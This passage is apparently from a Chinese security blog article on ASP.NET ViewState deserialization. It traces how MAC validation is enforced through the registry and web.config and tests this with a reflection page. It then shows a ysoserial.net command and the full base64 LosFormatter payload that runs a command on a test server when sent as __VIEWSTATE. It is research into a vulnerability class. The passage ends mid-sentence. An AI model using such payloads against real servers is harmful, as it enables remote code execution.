&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这个属性又取决于EnableViewStateMacRegistryHelper类，在他的构造函数中</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="154" data-backw="319" data-ratio="0.4811946902654867" title="null" data-type="png" data-w="904" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c8dead4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEKbO0vXqpG32KicvdCayIVTQpS1MmTrsUiaic86WUNeJcrxyrjtnvYOiaDw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">断点的地方从注册表中读取一个值，如果为不等于0，则返回true</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="103" data-backw="319" data-ratio="0.32205128205128203" title="null" data-type="png" data-w="975" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=405de717&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuExMdFAI9s0rEShHhibRy2b3WMGcnxbJlO25aCp500Jzc2uU3xb3oiaCfw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">也就是不为0时，强制执行</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (flag)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    EnableViewStateMacRegistryHelper.EnforceViewStateMac = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">    EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">将EnforceViewStateMac设置为true</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">另一个if条件是</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (AppSettings.AllowInsecureDeserialization != <span class="code-snippet__literal">null</span>)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    EnableViewStateMacRegistryHelper.EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;</span></code><code><span class="code-snippet_outer">    EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">对AllowInsecureDeserialization取反，AllowInsecureDeserialization这个值在web.config中可以配置。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">configuration</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">add</span> <span class="code-snippet__attr">key</span>=<span class="code-snippet__string">&#34;aspnet:AllowInsecureDeserialization&#34;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;true&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">configuration</span>&gt;</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">而只有这两个值最起码要启用一个才能强制关闭EnforceViewStateMac，比如下图。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="228" data-backw="319" data-ratio="0.7144128113879004" title="null" data-type="png" data-w="1124" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2cb26ce5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEAW6wp2BXb2Qc7X5TvXTiaAILPJiclFuiacXibhDFyzic6qicyqw77u7iaeQ0g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">虽然page里赋值为false，但是因为注册表中没有禁用mac，在web.config中也没禁用web.config，所以即使在page中禁用mac，通过反射输出的值仍为true，此时仍然是启用了mac校验的。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">    System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty(<span class="code-snippet__string">&#34;EnableViewStateMac&#34;</span>, System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">object</span> v = propertyInfo.GetValue(Page, <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">object</span>[] { });</span></code><code><span class="code-snippet_outer">    Response.Write(propertyInfo.Name + <span class="code-snippet__string">&#34;:&#34;</span> + v + <span class="code-snippet__string">&#34;&lt;br&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">    Response.Write(Environment.Version.ToString(<span class="code-snippet__number">3</span>));</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">把注册表改为0，重启IIS，此时就能禁用mac验证了。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="90" data-backw="319" data-ratio="0.28328611898017" title="null" data-type="png" data-w="1059" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e6d50eee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEJr6LWhltAkNia7ibPYQLz80tccF9sA0bRib8Xn0IxpUtQDE0MTHMoWd0Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">禁用mac时的利用</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">当禁用mac时并且没有启用加密时，我们可以直接用LosFormatter生成payload打过去。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__type">PS</span> <span class="code-snippet__type">E</span>:\code\ysoserial.net\ysoserial\bin\<span class="code-snippet__type">Debug</span>&gt; .\ysoserial.exe -f losformatter -g <span class="code-snippet__type">SessionViewStateHistoryItem</span> -<span class="code-snippet__built_in">c</span> <span class="code-snippet__string">&#34;ping localhost -t&#34;</span></span></code><code><span class="code-snippet_outer">/wEyqQsAAQAAAP<span class="code-snippet__comment">////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAA3Akvd0V5bmdjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBREFCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdjR2x1WnlCc2IyTmhiR2h2YzNRZ0xYUWlJRk4wWVc1a1lYSmtSWEp5YjNKRmJtTnZaR2x1WnowaWUzZzZUblZzYkgwaUlGTjBZVzVrWVhKa1QzVjBjSFYwUlc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVmMyVnlUbUZ0WlQwaUlpQlFZWE56ZDI5eVpEMGllM2c2VG5Wc2JIMGlJRVJ2YldGcGJqMGlJaUJNYjJGa1ZYTmxjbEJ5YjJacGJHVTlJa1poYkhObElpQkdhV3hsVG1GdFpUMGlZMjFrSWlBdlBnMEtJQ0FnSUNBZ1BDOXpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQThMM05rT2xCeWIyTmxjM00rRFFvZ0lEd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlMazlpYW1WamRFbHVjM1JoYm1ObFBnMEtQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEkrQ3c9PQs=</span></span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="173" data-backw="319" data-ratio="0.5422535211267606" title="null" data-type="png" data-w="1420" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8551cb46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEzl2mVa8O3NxNheaPLDUnCZiab16wRqAOdckicYEVzbs6k5bp10urGIVQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这里爆出了TextFormattingRunProperties的错误，说明执行了命令</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="245" data-backw="319" data-ratio="0.7687861271676301" title="null" data-type="png" data-w="692" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=32d29f22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuE272FJykDzdWIwYq03XMLSbhccyXfdg0b2vv3p196MXf8oAAiazccIKQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在传递__VIEWSTATE参数时发现是直接GET传参，其实POST传参也行，为什么直接传递参数就会被解析？是因为在Page中还有一个EnableViewState=&#34;false&#34;的属性。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;%@ Page Language=<span class="code-snippet__string">&#34;C#&#34;</span> AutoEventWireup=<span class="code-snippet__string">&#34;true&#34;</span> CodeFile=<span class="code-snippet__string">&#34;Default.aspx.cs&#34;</span> Inherits=<span class="code-snippet__string">&#34;_Default&#34;</span> EnableViewState=<span class="code-snippet__string">&#34;true&#34;</span> EnableViewStateMac=<span class="code-snippet__string">&#34;false&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;!DOCTYPE html PUBLIC <span class="code-snippet__string">&#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34;</span> <span class="code-snippet__string">&#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;html xmlns=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;head runat=<span class="code-snippet__string">&#34;server&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    &lt;title&gt;&lt;/title&gt;</span></code><code><span class="code-snippet_outer">&lt;/head&gt;</span></code><code><span class="code-snippet_outer">&lt;body&gt;</span></code><code><span class="code-snippet_outer">    &lt;form id=<span class="code-snippet__string">&#34;form1&#34;</span> runat=<span class="code-snippet__string">&#34;server&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">        &lt;div&gt;</span></code><code><span class="code-snippet_outer">            &lt;%</span></code><code><span class="code-snippet_outer">                System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty(<span class="code-snippet__string">&#34;EnableViewStateMac&#34;</span>, System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">object</span> v = propertyInfo.GetValue(Page, <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">object</span>[] { });</span></code><code><span class="code-snippet_outer">                Response.Write(propertyInfo.Name + <span class="code-snippet__string">&#34;:&#34;</span> + v + <span class="code-snippet__string">&#34;&lt;br&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">                Response.Write(Environment.Version.ToString(<span class="code-snippet__number">3</span>));</span></code><code><span class="code-snippet_outer">                ViewState.Add(<span class="code-snippet__string">&#34;asd&#34;</span>, <span class="code-snippet__string">&#34;asd&#34;</span>);</span></code><code><span class="code-snippet_outer">            %&gt;</span></code><code><span class="code-snippet_outer">        &lt;/div&gt;</span></code><code><span class="code-snippet_outer">    &lt;/form&gt;</span></code><code><span class="code-snippet_outer">&lt;/body&gt;</span></code><code><span class="code-snippet_outer">&lt;/html&gt;</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">当 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">EnableViewState=&#34;true&#34;</code> 时，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">__VIEWSTATE</code>为 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/wEPDwUKLTg0NTYxMzIxNQ8WAh4DYXNkBQNhc2RkZA==</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">false时，<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">__VIEWSTATE</code>为 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/wEPDwUKLTg0NTYxMzIxNWRk</code>。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">区别在于禁用ViewState之后ViewState只是变短了而已，但是这个字段仍然存在，所以viewstate仍会被IIS被动解析。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 